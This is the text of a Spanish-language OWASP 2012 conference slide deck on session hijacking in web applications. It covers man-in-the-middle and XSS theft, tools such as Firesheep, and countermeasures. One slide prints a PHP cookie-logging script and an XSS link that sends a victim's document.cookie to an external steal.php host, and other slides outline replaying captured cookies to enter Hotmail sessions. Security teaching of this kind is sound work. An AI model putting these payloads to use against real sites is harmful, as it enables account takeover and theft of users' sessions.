The OWASP Foundation http://www.owasp.org
OWASP LATAM TOUR 2012
Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales
OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC
[email protected] [email protected]
Telef: 973861650
http://www.el-palomo.com
OWASP LATAM TOUR 2012
AGRADECIMIENTOS A :
2
Derechos de Autor y Licencia Copyright © 2003 – 2012 Fundación OWASP Este documento es publicado bajo la licencia Creative Commons Attribution ShareAlike 3.0. Para cualquier reutilización o distribución, usted debe dejar en claro a otros los términos de la licencia sobre este trabajo.
The OWASP Foundation http://www.owasp.org
OWASP LATAM TOUR 2012
• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3.
• Consultor en seguridad de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritor en mis tiempos libres:
http://www.el-palomo.com
http://www.facebook.com/El.Palomo.Seguridad.Informacion
OWASP LATAM TOUR 2012 5
INDICE 1. Introducción
• ¿Qué es el session hijacking?
• Objetivo de la presentación
• Ejercicio 1: Demostración de la facilidad del robo de sesiones
2. ¿Soy vulnerable?
• Técnicas y métodos de explotación
• Escenarios de ataque:
• Ejercicio 2: Hombre en el medio (MiTM)
• Ejercicio 3: Cross Site Scripting (XSS)
3. Robo de sesiones en aplicaciones web comerciales: Hotmail, Facebook y Wordpress
4. Técnicas y método para evitar el secuestro/robo de sesiones
5. Conclusiones
OWASP LATAM TOUR 2012
RESUMEN
6
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
¿Qué es session hijacking?
Es el secuestro/robo de sesiones (identificación) de usuarios
para lograr acceso privilegiado a una aplicación web
comprometiendo la integridad y confidencialidad de la
información.
OWASP LATAM TOUR 2012
RESUMEN
7
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
IMPORTANCIA
La inadecuada gestión de sesiones en aplicaciones web
empresariales se ha convertido en la tercera vulnerabilidad en
aplicaciones web (OWASP Top 10 – 2010)
El impacto de explotar esta vulnerabilidad es CRÍTICO debido a
la exposición de información restringida para el negocio.
OWASP LATAM TOUR 2012 8
Funcionamiento: Man in the middle
1
2
El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: • Hotmail • Facebook • Aplicaciones web
particulares (corporativos)
El atacante encuentra un
mecanismo para
averiguar el identificador de SESIÓN y realizar el secuestro de la sesión del usuario.
Importante: El usuario (la víctima) no se entera que su sesión de aplicación web ha sido vulnerada.
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
9
Funcionamiento: Cross Site Scripting
2
1
1. Un usuario normal ingresa a la App. Web y ejecuta el código Javascript. 2. El código Javascript envía el código de Sesión al servidor web externo.
1. El usuario malicioso prepara un servidor web externo para almacenar las sesiones. 2. El usuarios malicioso coloca código JavaScript sobre la App. Web Vulnerable. Importante:
Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web.
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
10
Funcionamiento: Cross Site Scripting
1
<?php $session = $_GET["cookie"]; $date = date("l ds of F Y h:i:s A"); $user_agent = $_SERVER['HTTP_USER_AGENT']; $file = fopen('log.txt','a'); fwrite($file, "DATE: $date || USER AGENT: $user_agent || COOKIE: $session \n"); fclose($file); header("Location: http://XXXXXXX/hijacking/listado.php"); ?>
<a href="#" onClick=document.location="http://192.168.1.48/steal.php?cookie="+escape(document.cookie);>Ver aqui los detalles</a>
Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web.
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
¿Por qué sucede esto?
1
2
Cuando el usuario ingresa a una página web: 1. Se crea una sesión aleatoria en el servidor
web , esta sesión se almacena en una cookie o en una sesión .
2. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión.
1. El atacante realiza un ataque para conseguir la sesión del usuario:
Hombre en el medio (Man in the middle – MiTM)
Predecir el identificador de sesión (Predict Session)
Cross site scripting (XSS) Otros de menos probabilidad
2. El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima.
Esto sucede porque: La transmisión de la sesión viaja en
texto plano (MITM) Cross Site Scripting (XSS) Algoritmo débil de ID de sesión (sesiones
predecibles o muy pequeñas). Incorrecta configuración del bloqueo de sesiones. Sesiones que nunca expiran.
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
Vamos a la práctica
Aplicación web PHP : 1. Capturamos la sesión mediante la técnica de hombre en el
medio. 2. Identificamos la cookie y el número de sesión. 3. Modificamos la cookie mediante una herramienta: Advanced
Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.
Aplicaciones web en internet (HOTMAIL): 1. Capturamos la sesión mediante la técnica de hombre en el
medio. 2. Identificamos la cookie: RPSTAuth 3. Modificamos la cookie mediante una herramienta: Advanced
Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
EJEMPLOS
OWASP LATAM TOUR 2012
Debemos automatizar el ataque….
• Ferret: Herramienta para formatear el archivo PCAP producto del sniffing.
• Hamster: Proxy que muestra las cookies formateadas por Ferret.
• Herramientas que funcionan en Windows y Linux. Hamster y Ferret
• Plugin de Mozilla Firefox
• Automatiza de manera muy rápida el robo de sesiones.
• A la fecha (2012) el plugin está descontinuado. Firesheep
• Plugin de Mozilla Firefox
• Permite ingresar la cookie capturada mediante MITM Greasemonkey
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
Debemos automatizar el ataque….
• Plugin de Mozilla Firefox
• Permite ingresar la cookie capturada mediante MITM Greasemonkey /
Wireshark Cookie Dump
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
OWASP LATAM TOUR 2012
• Plugin de Mozilla Firefox
• Automatiza de manera muy rápida el robo de sesiones.
• A la fecha (2012) el plugin está descontinuado.
Firesheep
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
1. El atacante realiza un ataque para conseguir la sesión del usuario (MITM).
2. Firesheep coge el identificador de sesión y te permite ingresar a la aplicación de la manera más fácil y sencilla.
EJEMPLOS
Summary & Conclusion
OWASP LATAM TOUR 2012 19
¿Cómo funciona el secuestro de sesiones?
Secuestro de sesiones de
forma manual
Herramientas de secuestro de
sesiones
Conclusiones y contramedidas
UTILIZAR CONEXIONES SSL PARA TODA LA PÁGINA WEB Y NO SÓLO PARA EL LOGIN DE APLICACIONES WEB.
REALIZAR UN CORRECTO FILTRADO DE VARIABLES EN APLICACIONES WEB PARA EVITAR ATAQUES XSS.
EVITAR UTILIZAR REDES PÚBLICAS, ASEGURASE HACERLO A TRAVÉS DE UNA CONEXIÓN VPN.
CONFIGURAR TODOS LOS SERVICIOS POSIBLES A TRAVÉS DE HTTPS: Hotmail, Facebook, Twitter, etc.
The OWASP Foundation http://www.owasp.org
OWASP LATAM TOUR 2012
Preguntas
20
The OWASP Foundation http://www.owasp.org
OWASP LATAM TOUR 2012
Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales
OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC
[email protected] [email protected]
Telef: 973861650
http://www.el-palomo.com
Top Related